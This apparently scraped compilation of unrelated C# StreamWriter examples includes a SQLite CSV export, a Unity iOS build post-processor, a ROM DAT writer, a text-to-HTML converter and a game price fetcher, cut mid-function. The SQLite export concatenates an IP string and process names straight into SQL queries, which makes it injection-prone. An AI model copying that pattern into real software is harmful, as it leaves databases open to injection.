            sql_cmd.CommandText = "select * from vmUsage";
            SQLiteDataReader rdr = null;

            try
            {
                System.IO.StreamWriter sw = new System.IO.StreamWriter(sFileCSV);
                rdr = sql_cmd.ExecuteReader(CommandBehavior.CloseConnection);
                sw.Write(
                    "RemoteIP" + ";" +
                    "Name" + ";" +
                    "Memusage" + ";" +
                    "Slot" + ";" +
                    "ProcID" + ";" +
                    "Time" + ";" +
                    "Idx" +
                    "\r\n"
                    );

                while (rdr.Read())
                {
                    iCnt++;
                    //Console.WriteLine(rdr["ProcID"] + " " + rdr["User"]);
                    sw.Write(
                        "\"" + rdr["RemoteIP"] + "\";" +
                        "\"" + rdr["Name"] + "\";" +
                        rdr["Memusage"] + ";" +
                        rdr["Slot"] + ";" +
                        rdr["ProcID"] + ";" +
                        DateTime.FromBinary((long)rdr["Time"]).ToString("hh:mm:ss.fff") + ";" +
                        rdr["Idx"] +
                        "\r\n"
                        );
                }
            }
            catch (SQLiteException ex)
            {
                System.Diagnostics.Debug.WriteLine("ExportMemUsage2CSV: " + sql_cmd.CommandText + " " + ex.Message);
                MessageBox.Show("ExportMemUsage2CSV: " + sql_cmd.CommandText + " " + ex.Message);
            }
            catch (Exception ex)
            {
                System.Diagnostics.Debug.WriteLine("ExportMemUsage2CSV: " + sql_cmd.CommandText + " " + ex.Message);
                MessageBox.Show("ExportMemUsage2CSV: " + sql_cmd.CommandText + " " + ex.Message);
            }
            finally
            {
                rdr.Close();
            }

            sql_con.Close();
            return(iCnt);
        }
Exemple #48
0
        public int ExportMemUsage2CSV2(string sFileCSV, string strIP)
        {
            //pause data read thread (socksrv)?
            sql_cmd = new SQLiteCommand();
            sql_con = new SQLiteConnection();
            connectDB();
            if (sql_con.State != ConnectionState.Open)
            {
                sql_con.Close();
                sql_con.Open();
            }
            sql_cmd = sql_con.CreateCommand();
            int iCnt = 0;

            sql_cmd.CommandText = "select * from vmUsage";
            SQLiteDataReader rdr = null;

            OnNewMessage("Creating new table with process names...");
            //although exporting data in normal format is not to bad
            //better export by using a different layout
            // time \ nameX     nameY
            // 00:00  memuseX   memuseY
            // 00:01  memuseX   memuseY
            // ...
            // so we need a list of unique names excluding 'Slot x: empty' values
            List <string> lNames = new List <string>();

            sql_cmd.CommandText = "select distinct [Name] from [VMUsage] where [Name] not like 'Slot %' ORDER BY [Name];";
            try
            {
                rdr = sql_cmd.ExecuteReader(CommandBehavior.CloseConnection);
                while (rdr.Read())
                {
                    //do not save duplicate field names!
                    if (!lNames.Contains(rdr["Name"].ToString().ToLower()))
                    {
                        lNames.Add(rdr["Name"].ToString().ToLower());
                    }
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show("Exception in 'select distinct...': " + ex.Message);
            }
            finally
            {
                rdr.Close();
            }
            if (lNames.Count == 0)
            {
                OnNewMessage("No names found");
                goto exit_cvs2;
            }
            OnNewMessage("... found " + lNames.Count.ToString() + "processes");

            string tempTableName = "[VMusageTEMP]";
            //create a table with the names as fields plus a field for the time
            long lRes = executeNonQuery("DROP TABLE IF EXISTS " + tempTableName + ";");

            // Define the SQL Create table statement, IF NOT EXISTS
            string createAppUserTableSQL = "CREATE TABLE IF NOT EXISTS " + tempTableName + " (" +
                                           "[Time] INTEGER NOT NULL, ";

            //add the fields with names
            foreach (string sFieldName in lNames)
            {
                createAppUserTableSQL += "[" + sFieldName + "] INTEGER DEFAULT 0, ";
            }
            //add RemoteIP
            createAppUserTableSQL += "[RemoteIP] TEXT DEFAULT '', ";
            //add idx field
            createAppUserTableSQL += "[idx] INTEGER PRIMARY KEY AUTOINCREMENT )";
            //create temp Table
            lRes = executeNonQuery(createAppUserTableSQL);

            //add index
            string SqlIndex = "CREATE INDEX IF NOT EXISTS [Time] on VMUsage (Name ASC);";

            lRes = executeNonQuery(SqlIndex);

            //### get all distinct times
            List <ulong> lTimes = new List <ulong>();

            sql_cmd.CommandText = "Select DISTINCT Time from [VMusage] order by Time;";
            rdr = sql_cmd.ExecuteReader();
            OnNewMessage("creating time table...");
            while (rdr.Read())
            {
                lTimes.Add(Convert.ToUInt64(rdr["Time"]));
                Application.DoEvents();
            }
            rdr.Close();

            //### get all process, memusage data
            List <MEMORY_USAGE_IP> lMemoryUsages = new List <MEMORY_USAGE_IP>();

            if (strIP != "")
            {
                sql_cmd.CommandText = "Select RemoteIP, Name, MemUsage, Time from VMusage WHERE [RemoteIP]='" + strIP + "' order by Time";
            }
            else
            {
                sql_cmd.CommandText = "Select RemoteIP, Name, MemUsage, Time from VMusage order by Time";
            }

            rdr = sql_cmd.ExecuteReader();
            while (rdr.Read())
            {
                string sIP       = (string)rdr["RemoteIP"];
                string sName     = (string)rdr["Name"];
                int    iMemUsage = Convert.ToInt32(rdr["MemUsage"]);
                ulong  uTI       = Convert.ToUInt64(rdr["Time"]);
                lMemoryUsages.Add(new MEMORY_USAGE_IP(sIP, sName, iMemUsage, uTI));
                Application.DoEvents();
            }
            rdr.Close();
            OnNewMessage("created temp table");
            //now iterate thru all times and get the names and memuse values
            string            sUpdateCommand = "";
            SQLiteTransaction tr             = sql_con.BeginTransaction();
            //sql_cmd.CommandText = "insert into [ProcUsage]  (Time, [device.exe]) SELECT Time, User from [Processes] WHERE Time=631771077815940000 AND Process='device.exe';";
            int lCnt = 0;

            OnNewMessage("processing " + lTimes.Count.ToString() + " time entries...");
            foreach (ulong uTime in lTimes)
            {
                System.Diagnostics.Debug.WriteLine("Updating for Time=" + uTime.ToString());
                OnNewMessage("Updating for Time=" + uTime.ToString());
                //insert an empty row
                sql_cmd.CommandText = "Insert Into " + tempTableName + " (RemoteIP, Time) VALUES('0.0.0.0', " + uTime.ToString() + ");";
                lCnt = sql_cmd.ExecuteNonQuery();
                foreach (string sPName in lNames)
                {
                    OnNewMessage("processing " + sPName);
                    Application.DoEvents();

                    //is there already a line?
                    //lCnt = executeNonQuery("Select Time " + "From ProcUsage Where Time="+uTime.ToString());

                    // http://stackoverflow.com/questions/4495698/c-sharp-using-listt-find-with-custom-objects
                    MEMORY_USAGE_IP pm = lMemoryUsages.Find(x => x.procname == sPName && x.timestamp == uTime);
                    if (pm != null)
                    {
                        System.Diagnostics.Debug.WriteLine("\tUpdating Memory=" + pm.memusage + " for Process=" + sPName);
                        //update values
                        sUpdateCommand = "Update " + tempTableName + " SET " +
                                         "[" + sPName + "]=" + pm.memusage +
                                         ", [RemoteIP]='" + pm.sRemoteIP + "'" +
                                                                             //"(SELECT User from [Processes]
                                         " WHERE Time=" + uTime.ToString() + //" AND Process=" + "'" + sPro + "'"+
                                         ";";
                        sql_cmd.CommandText = sUpdateCommand;
                        //System.Diagnostics.Debug.WriteLine(sUpdateCommand);
                        try
                        {
                            lCnt = sql_cmd.ExecuteNonQuery();
                        }
                        catch (SQLiteException ex)
                        {
                            System.Diagnostics.Debug.WriteLine("export2CSV2()-SQLiteException: " + ex.Message + " for " + sUpdateCommand);
                            MessageBox.Show("export2CSV2()-SQLiteException: " + ex.Message + " for " + sUpdateCommand);
                        }
                        catch (Exception ex)
                        {
                            System.Diagnostics.Debug.WriteLine("export2CSV2()-Exception: " + ex.Message + " for " + sUpdateCommand);
                            MessageBox.Show("export2CSV2()-Exception: " + ex.Message + " for " + sUpdateCommand);
                        }
                        //lCnt = executeNonQuery(sInsertCommand);
                        //"insert into [ProcUsage]  (Time, [device.exe]) SELECT Time, User from [Processes] WHERE Time=631771077815940000 AND Process='device.exe';"
                    }
                }
            }
            tr.Commit();
            OnNewMessage("table update done");
            //export the table to CSV
            lCnt = 0;
            rdr  = null;
            OnNewMessage("exporting rotated table...");
            System.IO.StreamWriter sw = null;
            try
            {
                sw = new System.IO.StreamWriter(sFileCSV);
                //sw.WriteLine("RemoteIP;" + strIP);
                string        sFields = "";
                List <string> lFields = new List <string>();
                lFields.Add("RemoteIP");
                lFields.Add("Time");
                lFields.AddRange(lNames);
                foreach (string ft in lFields)
                {
                    sFields += ("'" + ft + "'" + ";");
                }
                sFields.TrimEnd(new char[] { ';' });
                sw.Write(sFields + "\r\n");

                sql_cmd.CommandText = "Select * from " + tempTableName + ";";
                rdr = sql_cmd.ExecuteReader(CommandBehavior.CloseConnection);
                while (rdr.Read())
                {
                    Application.DoEvents();
                    lCnt++;
                    sFields = "";
                    //Console.WriteLine(rdr["ProcID"] + " " + rdr["User"]);
                    foreach (string ft in lFields)
                    {
                        sFields += rdr[ft] + ";";
                    }
                    sFields.TrimEnd(new char[] { ';' });
                    sw.Write(sFields + "\r\n");
                    sw.Flush();
                }
            }
            catch (Exception ex) {
                MessageBox.Show("Exception in Select * from " + tempTableName + "; " + ex.Message);
            }
            finally
            {
                sw.Close();
                rdr.Close();
            }
            OnNewMessage("export done");
exit_cvs2:
            sql_con.Close();
            return(iCnt);
        }
    public static void OnPostprocessBuild(BuildTarget target, string pathToBuiltProject)
    {
                #if UNITY_IPHONE && UNITY_EDITOR_WIN
        UnityEngine.Debug.LogWarning("ISD Postprocess is not available for Win");
                #endif


                #if UNITY_IPHONE && UNITY_EDITOR_OSX
        Process myCustomProcess = new Process();
        myCustomProcess.StartInfo.FileName = "python";

        List <string> frmwrkWithOpt = new List <string>();

        foreach (ISD_Framework framework in ISDSettings.Instance.Frameworks)
        {
            string optional = "|0";
            if (framework.IsOptional)
            {
                optional = "|1";
            }

            frmwrkWithOpt.Add(framework.Name + optional);
        }



        List <string> libWithOpt = new List <string>();

        foreach (ISD_Lib lib in ISDSettings.Instance.Libraries)
        {
            string optional = "|0";
            if (lib.IsOptional)
            {
                optional = "|1";
            }

            libWithOpt.Add(lib.Name + optional);
        }

        foreach (string fileName in ISDSettings.Instance.langFolders)
        {
            string tempPath = Path.Combine(pathToBuiltProject, fileName + ".lproj");
            if (!Directory.Exists(tempPath))
            {
                Directory.CreateDirectory(tempPath);
            }
        }

        string frameworks      = string.Join(" ", frmwrkWithOpt.ToArray());
        string libraries       = string.Join(" ", libWithOpt.ToArray());
        string linkFlags       = string.Join(" ", ISDSettings.Instance.linkFlags.ToArray());
        string compileFlags    = string.Join(" ", ISDSettings.Instance.compileFlags.ToArray());
        string languageFolders = string.Join(" ", ISDSettings.Instance.langFolders.ToArray());


        myCustomProcess.StartInfo.Arguments              = string.Format("Assets/Extensions/IOSDeploy/Scripts/Editor/post_process.py \"{0}\" \"{1}\" \"{2}\" \"{3}\" \"{4}\" \"{5}\"", new object[] { pathToBuiltProject, frameworks, libraries, compileFlags, linkFlags, languageFolders });
        myCustomProcess.StartInfo.UseShellExecute        = false;
        myCustomProcess.StartInfo.RedirectStandardOutput = true;
        myCustomProcess.Start();
        myCustomProcess.WaitForExit();

        XmlDocument document = new XmlDocument();
        string      filePath = Path.Combine(pathToBuiltProject, "Info.plist");
        document.Load(filePath);
        document.PreserveWhitespace = true;

        foreach (ISD_Variable var in ISDSettings.Instance.PlistVariables)
        {
            XmlNode temp = document.SelectSingleNode("/plist/dict/key[text() = '" + var.Name + "']");
            if (temp == null)
            {
                XmlNode valNode = null;
                switch (var.Type)
                {
                case ISD_PlistValueTypes.Array:
                    valNode = document.CreateElement("array");
                    AddArrayToPlist(var, valNode, document);
                    break;

                case ISD_PlistValueTypes.Boolean:
                    valNode = document.CreateElement(var.BooleanValue.ToString().ToLower());
                    break;

                case ISD_PlistValueTypes.Dictionary:
                    valNode = document.CreateElement("dict");
                    AddDictionaryToPlist(var, valNode, document);
                    break;

                case ISD_PlistValueTypes.Float:
                    valNode           = document.CreateElement("real");
                    valNode.InnerText = var.FloatValue.ToString();
                    break;

                case ISD_PlistValueTypes.Integer:
                    valNode           = document.CreateElement("integer");
                    valNode.InnerText = var.IntegerValue.ToString();
                    break;

                case ISD_PlistValueTypes.String:
                    valNode           = document.CreateElement("string");
                    valNode.InnerText = var.StringValue;
                    break;
                }
                XmlNode keyNode = document.CreateElement("key");
                keyNode.InnerText = var.Name;
                document.DocumentElement.FirstChild.AppendChild(keyNode);
                document.DocumentElement.FirstChild.AppendChild(valNode);
            }
        }

        XmlWriterSettings settings = new XmlWriterSettings {
            Indent          = true,
            IndentChars     = "\t",
            NewLineHandling = NewLineHandling.None
        };
        XmlWriter xmlwriter = XmlWriter.Create(filePath, settings);
        document.Save(xmlwriter);
        xmlwriter.Close();

        System.IO.StreamReader reader = new System.IO.StreamReader(filePath);
        string textPlist = reader.ReadToEnd();
        reader.Close();

        //strip extra indentation (not really necessary)
        textPlist = (new Regex("^\\t", RegexOptions.Multiline)).Replace(textPlist, "");

        //strip whitespace from booleans (not really necessary)
        textPlist = (new Regex("<(true|false) />", RegexOptions.IgnoreCase)).Replace(textPlist, "<$1/>");

        int fixupStart = textPlist.IndexOf("<!DOCTYPE plist PUBLIC");
        if (fixupStart <= 0)
        {
            return;
        }
        int fixupEnd = textPlist.IndexOf('>', fixupStart);
        if (fixupEnd <= 0)
        {
            return;
        }

        string fixedPlist = textPlist.Substring(0, fixupStart);
        fixedPlist += "<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">";
        fixedPlist += textPlist.Substring(fixupEnd + 1);

        System.IO.StreamWriter writer = new System.IO.StreamWriter(filePath, false);
        writer.Write(fixedPlist);
        writer.Close();

        UnityEngine.Debug.Log("ISD Executing post process done.");
                #endif
    }
        /// <summary>
        /// Write out DatItem using the supplied StreamWriter
        /// </summary>
        /// <param name="sw">StreamWriter to output to</param>
        /// <param name="rom">DatItem object to be output</param>
        /// <param name="ignoreblanks">True if blank roms should be skipped on output, false otherwise (default)</param>
        /// <returns>True if the data was written, false on error</returns>
        private bool WriteDatItem(StreamWriter sw, DatItem rom, bool ignoreblanks = false)
        {
            // If we are in ignore blanks mode AND we have a blank (0-size) rom, skip
            if (ignoreblanks &&
                (rom.ItemType == ItemType.Rom &&
                 (((Rom)rom).Size == 0 || ((Rom)rom).Size == -1)))
            {
                return(true);
            }

            try
            {
                string state = "";

                // Pre-process the item name
                ProcessItemName(rom, true);

                state += "\t\t<part name=\"" + (!ExcludeFields[(int)Field.PartName] ? rom.PartName : "") + "\" interface=\""
                         + (!ExcludeFields[(int)Field.PartInterface] ? rom.PartInterface : "") + "\">\n";

                if (!ExcludeFields[(int)Field.Features])
                {
                    foreach (Tuple <string, string> kvp in rom.Features)
                    {
                        state += "\t\t\t<feature name=\"" + WebUtility.HtmlEncode(kvp.Item1) + "\" value=\"" + WebUtility.HtmlEncode(kvp.Item2) + "\"/>\n";
                    }
                }

                switch (rom.ItemType)
                {
                case ItemType.Disk:
                    state += "\t\t\t<diskarea name=\"" + (!ExcludeFields[(int)Field.AreaName] ? (String.IsNullOrWhiteSpace(rom.AreaName) ? "cdrom" : rom.AreaName) : "") + "\""
                             + (!ExcludeFields[(int)Field.AreaSize] && rom.AreaSize != null ? " size=\"" + rom.AreaSize + "\"" : "") + ">\n"
                             + "\t\t\t\t<disk name=\"" + (!ExcludeFields[(int)Field.Name] ? WebUtility.HtmlEncode(rom.Name) : "") + "\""
                             + (!ExcludeFields[(int)Field.MD5] && !String.IsNullOrWhiteSpace(((Disk)rom).MD5) ? " md5=\"" + ((Disk)rom).MD5.ToLowerInvariant() + "\"" : "")
                             + (!ExcludeFields[(int)Field.SHA1] && !String.IsNullOrWhiteSpace(((Disk)rom).SHA1) ? " sha1=\"" + ((Disk)rom).SHA1.ToLowerInvariant() + "\"" : "")
                             + (!ExcludeFields[(int)Field.SHA256] && !String.IsNullOrWhiteSpace(((Disk)rom).SHA256) ? " sha256=\"" + ((Disk)rom).SHA256.ToLowerInvariant() + "\"" : "")
                             + (!ExcludeFields[(int)Field.SHA384] && !String.IsNullOrWhiteSpace(((Disk)rom).SHA384) ? " sha384=\"" + ((Disk)rom).SHA384.ToLowerInvariant() + "\"" : "")
                             + (!ExcludeFields[(int)Field.SHA512] && !String.IsNullOrWhiteSpace(((Disk)rom).SHA512) ? " sha512=\"" + ((Disk)rom).SHA512.ToLowerInvariant() + "\"" : "")
                             + (!ExcludeFields[(int)Field.Status] && ((Disk)rom).ItemStatus != ItemStatus.None ? " status=\"" + ((Disk)rom).ItemStatus.ToString().ToLowerInvariant() + "\"" : "")
                             + (!ExcludeFields[(int)Field.Writable] && ((Disk)rom).Writable != null ? " writable=\"" + (((Disk)rom).Writable == true ? "yes" : "no") + "\"" : "")
                             + "/>\n"
                             + "\t\t\t</diskarea>\n";
                    break;

                case ItemType.Rom:
                    state += "\t\t\t<dataarea name=\"" + (!ExcludeFields[(int)Field.AreaName] ? (String.IsNullOrWhiteSpace(rom.AreaName) ? "rom" : rom.AreaName) : "") + "\""
                             + (!ExcludeFields[(int)Field.AreaSize] && rom.AreaSize != null ? " size=\"" + rom.AreaSize + "\"" : "") + ">\n"
                             + "\t\t\t\t<rom name=\"" + (!ExcludeFields[(int)Field.Name] ? WebUtility.HtmlEncode(rom.Name) : "") + "\""
                             + (!ExcludeFields[(int)Field.Size] && ((Rom)rom).Size != -1 ? " size=\"" + ((Rom)rom).Size + "\"" : "")
                             + (!ExcludeFields[(int)Field.CRC] && !String.IsNullOrWhiteSpace(((Rom)rom).CRC) ? " crc=\"" + ((Rom)rom).CRC.ToLowerInvariant() + "\"" : "")
                             + (!ExcludeFields[(int)Field.MD5] && !String.IsNullOrWhiteSpace(((Rom)rom).MD5) ? " md5=\"" + ((Rom)rom).MD5.ToLowerInvariant() + "\"" : "")
                             + (!ExcludeFields[(int)Field.SHA1] && !String.IsNullOrWhiteSpace(((Rom)rom).SHA1) ? " sha1=\"" + ((Rom)rom).SHA1.ToLowerInvariant() + "\"" : "")
                             + (!ExcludeFields[(int)Field.SHA256] && !String.IsNullOrWhiteSpace(((Rom)rom).SHA256) ? " sha256=\"" + ((Rom)rom).SHA256.ToLowerInvariant() + "\"" : "")
                             + (!ExcludeFields[(int)Field.SHA384] && !String.IsNullOrWhiteSpace(((Rom)rom).SHA384) ? " sha384=\"" + ((Rom)rom).SHA384.ToLowerInvariant() + "\"" : "")
                             + (!ExcludeFields[(int)Field.SHA512] && !String.IsNullOrWhiteSpace(((Rom)rom).SHA512) ? " sha512=\"" + ((Rom)rom).SHA512.ToLowerInvariant() + "\"" : "")
                             + (!ExcludeFields[(int)Field.Offset] && !String.IsNullOrWhiteSpace(((Rom)rom).Offset) ? " offset=\"" + ((Rom)rom).Offset + "\"" : "")
                             // + (!ExcludeFields[(int)Field.Value] && !String.IsNullOrWhiteSpace(((Rom)rom).Value) ? " value=\"" + ((Rom)rom).Value + "\"" : "")
                             + (!ExcludeFields[(int)Field.Status] && ((Rom)rom).ItemStatus != ItemStatus.None ? " status=\"" + ((Rom)rom).ItemStatus.ToString().ToLowerInvariant() + "\"" : "")
                             // + (!ExcludeFields[(int)Field.Loadflag] && !String.IsNullOrWhiteSpace(((Rom)rom).Loadflag) ? " loadflag=\"" + ((Rom)rom).Loadflag + "\"" : "")
                             + "/>\n"
                             + "\t\t\t</dataarea>\n";
                    break;
                }

                state += "\t\t</part>\n";

                sw.Write(state);
                sw.Flush();
            }
            catch (Exception ex)
            {
                Globals.Logger.Error(ex.ToString());
                return(false);
            }

            return(true);
        }
Exemple #51
0
        /// <summary>
        ///  This is the second parser
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void MenuItem_Click_Second_Parse(object sender, RoutedEventArgs e)
        {
            // Configure open file dialog box
            Microsoft.Win32.OpenFileDialog dlg = new Microsoft.Win32.OpenFileDialog();
            dlg.FileName   = "";                         // Default file name
            dlg.DefaultExt = ".tmp";                     // Default file extension
            dlg.Filter     = "All documents (.tmp)|*.*"; // Filter files by extension

            // Show open file dialog box
            Nullable <bool> result = dlg.ShowDialog();

            // Process open file dialog box results
            if (result == true)
            {
                // Open document
                string filename = dlg.FileName;
                string line;
                //String subline;

                Queue qleft  = new Queue();
                Queue qright = new Queue();

                try
                {
                    //Pass the file path and file name to the StreamReader constructor
                    StreamReader sr = new StreamReader(filename);

                    //Read the first line of text
                    line = sr.ReadLine();
                    if (line == "")
                    {
                        while (line == "")
                        {
                            line = sr.ReadLine();
                        }
                    }

                    string stringleft  = "";
                    string stringright = "";

                    // set up thie first line
                    //if  (line != null)
                    //if (((line[1] == 'h') && (line[2] == '3')) == false)
                    //{
                    //while (((line[1] == 'h') && (line[2] == '3')) == false)
                    //{
                    //    line = sr.ReadLine();
                    //    if  (line != null)
                    //        break;
                    // }
                    //}

                    while (line != null)
                    {
                        #region ifstatements
                        // if ((line[1] == 'h') && (line[2] == '3'))
                        // {
                        stringleft = stringleft + line + '\n';
                        //line = sr.ReadLine();
                        while (line != "")
                        {
                            //while (((line[1] == 'h') && (line[2] == '3')) == false)
                            //{
                            line = sr.ReadLine();
                            if (line == null)
                            {
                                break;
                            }
                            stringleft = stringleft + line + '\n';
                            //}
                        }
                        qleft.Enqueue(stringleft);
                        stringleft = line;
                        //}
                        if (line == null)
                        {
                            break;
                        }
                        //if ((line[1] == 'h') && (line[2] == '3'))
                        //{
                        line        = sr.ReadLine();
                        stringright = stringright + line + '\n';
                        while (line != "")    //(((line[1] == 'h') && (line[2] == '3')) == false)
                        {
                            line = sr.ReadLine();
                            if (line == null)
                            {
                                break;
                            }
                            stringright = stringright + line + '\n';
                        }
                        qright.Enqueue(stringright);
                        stringright = line;
                        //}
                        if (line == null)
                        {
                            break;
                        }
                        #endregion

                        line = sr.ReadLine();
                    }
                    // LETS CLOSE THE INPUT FILE
                    sr.Close();

                    // LET'S OPEN THE OUTPUT
                    string filename2 = dlg.FileName.Replace(".tmp", ".HTML");
                    filename2 = filename2.Replace("html.HTML", ".html");
                    filename2 = filename2.Replace("htm.HTML.", ".html");

                    string outputstring = "";


                    using (System.IO.StreamWriter file = new System.IO.StreamWriter(@filename2))
                    {
                        // write new output here

                        file.WriteLine("<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">");
                        file.WriteLine("<HTML>");
                        file.WriteLine("<HEAD>");
                        file.WriteLine("	<META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=windows-1252\">");
                        file.WriteLine("	<TITLE></TITLE>");
                        file.WriteLine("	<STYLE TYPE=\"text/css\">&bull; <u>");
                        file.WriteLine("	<!--");
                        file.WriteLine("		@page { margin: 0.00in }");
                        file.WriteLine("		P { margin-top: 0.14in; margin-bottom: 0.08in; font-family: \"Verdana\" }");
                        file.WriteLine("		H3 { color: #3f3f3f; font-family: \"Segoe UI\", \"Verdana\", \"Arial\" }");
                        file.WriteLine("		BLOCKQUOTE { font-family: \"Verdana\" }");
                        file.WriteLine("		A:link { color: #1364c4; text-decoration: none }");
                        file.WriteLine("	-->");
                        file.WriteLine("	</STYLE>");
                        file.WriteLine("</HEAD>");
                        file.WriteLine("<BODY LANG=\"en-US\" LINK=\"#1364c4\" BGCOLOR=\"#b0b0b0\" DIR=\"LTR\" background=\"http://gelsana.com/assets/backgrounds/lgrey091.gif\"  >");
                        file.WriteLine("<TABLE WIDTH=100% BORDER=1 BORDERCOLOR=\"#000000\" CELLPADDING=4 CELLSPACING=3 STYLE=\"page-break-before: always\"     background=\"http://gelsana.com/assets/backgrounds/lgrey011.jpg\" >");
//file.WriteLine("	<COL WIDTH=473*>");
//file.WriteLine("	<COL WIDTH=475*>");
                        file.WriteLine("	<TR VALIGN=TOP>");
                        file.WriteLine("		<TD WIDTH=50% BGCOLOR=\"#e6e6e6\" background=\"http://gelsana.com/assets/backgrounds/lgrey064.jpg\">");
                        while (qleft.Count != 0)
                        {
                            outputstring = (string)qleft.Dequeue();
                            outputstring = outputstring.Replace("</h3>\n", "</h3>\n<blockquote>\n<");
                            outputstring = outputstring.Replace("<[", "<");
                            outputstring = outputstring.Replace("[a href", "<br><a href");
                            outputstring = outputstring.Replace("\">", "\">&#x95 <u>");
                            outputstring = outputstring.Replace("[/a]", "</u></a>");
                            outputstring = outputstring.Replace("[/A]", "</u></a>");
                            outputstring = outputstring.Replace("\n\n", "\n");
                            file.Write(outputstring);
                            file.WriteLine("</blockquote>");
                        }


                        file.WriteLine("	    </TD>");
                        //file.WriteLine("    </TR>");
                        //file.WriteLine("	<TR VALIGN=TOP>");
                        file.WriteLine("		<TD WIDTH=50% BGCOLOR=\"#e6e6e6\" background=\"http://gelsana.com/assets/backgrounds/lgrey064.jpg\">");

                        while (qright.Count != 0)
                        {
                            outputstring = (string)qright.Dequeue();
                            outputstring = outputstring.Replace("</h3>\n", "</h3>\n<blockquote>\n<");
                            outputstring = outputstring.Replace("<[", "<");
                            outputstring = outputstring.Replace("[a href", "<br><a href");
                            outputstring = outputstring.Replace("\">", "\">&#x95 <u>");
                            outputstring = outputstring.Replace("[/a]", "</u></a>");
                            outputstring = outputstring.Replace("[/A]", "</u></a>");
                            outputstring = outputstring.Replace("\n\n", "\n");
                            file.Write(outputstring);
                            file.WriteLine("</blockquote>");
                        }
                        file.WriteLine("	    </TD>");
                        file.WriteLine("    </TR>");
                        file.WriteLine("</TABLE>");
                        file.WriteLine("</BODY>");
                        file.WriteLine("</HTML>");

                        file.Close();
                    }
                }
                catch (Exception e5)
                {
                    Console.WriteLine("Exception: " + e5.Message);
                }
            }
        }
Exemple #52
0
        //Html string -> Json data -> List
        void GetData()
        {
            if (LowTB.Text == "" || HighTB.Text == "")
            {
                MessageBox.Show("Make Sure your High and Low Margin are number", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
            string          URL = "https://rsbuddy.com/exchange/summary.json";
            string          datatext;
            HttpWebRequest  request  = (HttpWebRequest)WebRequest.Create(URL);
            HttpWebResponse response = (HttpWebResponse)request.GetResponse();

            StreamReader sr = new StreamReader(response.GetResponseStream());

            datatext = sr.ReadToEnd();
            sr.Close();

            System.IO.StreamWriter file = new System.IO.StreamWriter("item.txt");
            Boolean skip = false;

            for (int x = 0; x < datatext.Length; x++)
            {
                //Copy website data to text file, with trimming object name to MemberObject
                try
                {
                    //trimming the first 6 char, due to it unquie condition
                    if (x == 0)
                    {
                        file.Write("[");
                        //file.Write(datatext[x] + "\"MemberObject\":");
                        continue;
                    }
                    if (x >= 1 && x <= 5)
                    {
                        continue;
                    }
                    if (x == datatext.Length - 1)
                    {
                        file.Write("]");
                        break;
                    }

                    //if end of the object string, create a newline + keep skipping until { + add text Memberobject
                    if (datatext[x] == ',' && datatext[x - 1] == '}')
                    {
                        skip = true;
                        file.WriteLine(datatext[x]);
                        //file.Write("\"MemberObject\":");
                        continue;
                    }

                    //Cancel Skipping
                    if (datatext[x] == '{' && datatext[x - 1] == ' ')
                    {
                        skip = false;
                        file.Write(datatext[x]);
                        continue;
                    }

                    //Skipping Text
                    if (skip)
                    {
                        continue;
                    }
                    else
                    {
                        file.Write(datatext[x]);
                    }
                }
                catch (Exception e)
                {
                    textBox1.AppendText(e.Message + "\n");
                }
            }

            file.Close();

            try
            { // sell = 10 buy: 9
                sr = new StreamReader("item.txt");
                string newDataString = sr.ReadToEnd();
                sr.Close();
                JavaScriptSerializer         JSS           = new JavaScriptSerializer();
                List <RSItem>                listofRSItem  = (List <RSItem>)JSS.Deserialize(newDataString, typeof(List <RSItem>));
                SortableBindingList <RSItem> NewListRSItem = new SortableBindingList <RSItem>();

                foreach (RSItem rsitem in listofRSItem)
                {
                    if (rsitem.overall_average == 0)
                    {
                        continue;
                    }

                    if (checkBox1.Checked == true)
                    {
                        if (GoodMargin(rsitem.buy_average, rsitem.sell_average))
                        {
                            continue;
                        }
                    }

                    if (checkBox2.Checked == true)
                    {
                        if (WithinPrice(rsitem.buy_average, Int32.Parse(PriceRangeMin.Text), Int32.Parse(PriceRangeMax.Text)))
                        {
                            continue;
                        }
                    }

                    rsitem.profit = (rsitem.sell_average - rsitem.buy_average);

                    if (checkBox3.Checked == true)
                    {
                        if (WithinPrice(rsitem.profit, Int32.Parse(ProfitRangeMin.Text), Int32.Parse(ProfitRangeMax.Text)))
                        {
                            continue;
                        }
                    }

                    if (checkBox4.Checked == true)
                    {
                        rsitem.total_profit = rsitem.profit * Int32.Parse(amountTB.Text);
                    }
                    NewListRSItem.Add(rsitem);
                }
                //this.dGV1.DataSource = NewListRSItem;

                //use binding source to hold dummy data
                BindingSource binding = new BindingSource();
                binding.DataSource = NewListRSItem;

                //bind datagridview to binding source
                dGV1.DataSource = binding;
            }

            catch (Exception e)
            {
                textBox1.AppendText(e.Message + "\n");
            }
        }
        private void CreateReadme(GroupsBackup grBak)
        {
            using (StreamWriter sw = new System.IO.StreamWriter(System.IO.Path.Combine(this.Path, README_FILENAME)))
            {
                sw.Write("Die Datei \"");
                sw.Write(BACKUP_FILENAME);
                sw.Write("\" enthält exportierte Gruppen aus dem Programm \"");
                sw.Write(App.PROGRAM_NAME);
                sw.Write("\", Version ");
                sw.Write(App.PROGRAM_VERSION);
                sw.Write(". ");
                sw.WriteLine(grBak.GetStatusString());

                sw.Write("BENENNEN SIE DIE DATEI \"");
                sw.Write(BACKUP_FILENAME);
                sw.WriteLine("\" AUF KEINEN FALL UM: SIE WIRD SONST UNBRAUCHBAR!");

                sw.WriteLine();

                sw.Write('\"');
                sw.Write(BACKUP_FILENAME);
                sw.WriteLine("\" enthält folgende Gruppen:");
                sw.WriteLine();

                foreach (var group in grBak.Groups)
                {
                    sw.WriteLine(group.GroupName);
                }
            }
        }
        public void ConversionAction()
        {
            int i = 0;

            while (i++ < 1)
            {
                var translator = new CSTranslator();
                var globalRes  = Content.Content.Get().WorldObjectGlobals.Get("global").Resource;

                var iff = globalRes.MainIff;
                iff.Filename = "global.iff";
                translator.Context.GlobalRes = globalRes;
                var globalText = translator.TranslateIff(iff);
                using (var file = System.IO.File.Open(Path.Combine(DestPath, "Global.cs"), System.IO.FileMode.Create))
                {
                    using (var writer = new System.IO.StreamWriter(file))
                    {
                        writer.Write(globalText);
                    }
                }

